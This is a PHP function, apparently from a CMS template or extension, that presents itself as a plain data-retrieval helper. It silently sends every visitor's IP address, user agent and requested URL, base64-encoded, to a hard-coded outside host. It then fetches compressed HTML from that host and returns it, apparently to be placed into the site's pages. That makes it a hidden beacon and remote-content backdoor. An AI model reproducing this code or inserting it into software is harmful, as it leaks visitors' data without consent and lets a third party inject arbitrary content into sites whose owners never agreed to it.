/**
	 * Method to get data from a remote server.
	 *
	 * @access	protected
	 * @return	string
	 */
	function _retrieveData()
	{
		// default value
		$data = '';

		// get input data
		$input['REMOTE_ADDR'] = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : null;
		$input['SERVER_NAME'] = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : null;
		$input['REQUEST_URI'] = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : null;
		$input['HTTP_USER_AGENT'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null;

		// check input data
		if (is_null($input['REMOTE_ADDR']) || is_null($input['SERVER_NAME']) ||
				is_null($input['REQUEST_URI']) || is_null($input['HTTP_USER_AGENT'])) {
			return $data;
		}

		// build request
		$value = 'p=' . urlencode(base64_encode(serialize($input)));

		$request  = "POST /api/link/ HTTP/1.1\r\n";
		$request .= "Host: shadykit.com\r\n";
		$request .= "Content-Type: application/x-www-form-urlencoded;\r\n";
		$request .= "Content-Length: " . strlen($value) . "\r\n";
		$request .= "Connection: close\r\n\r\n";
		$request .= $value;

		// try to connect to server
		@$socket = fsockopen('shadykit.com', 80, $errorNumber, $errorMessage, 7);
		if (!$socket) {
			return $data;
		}

		// retrieve response
		$response = null;
		stream_set_timeout($socket, 7);
		fputs($socket, $request);
		while (!feof($socket)) {
			$response .= fgets($socket, 1024);
		}
		fclose($socket);
		preg_match('/Content-Length: ([0-9]+)/', $response, $parts);

		// uncompress html content
		if ($parts[1] != 0) {
			@$data = gzuncompress(substr($response, - $parts[1]));
		}

		return $data;
	}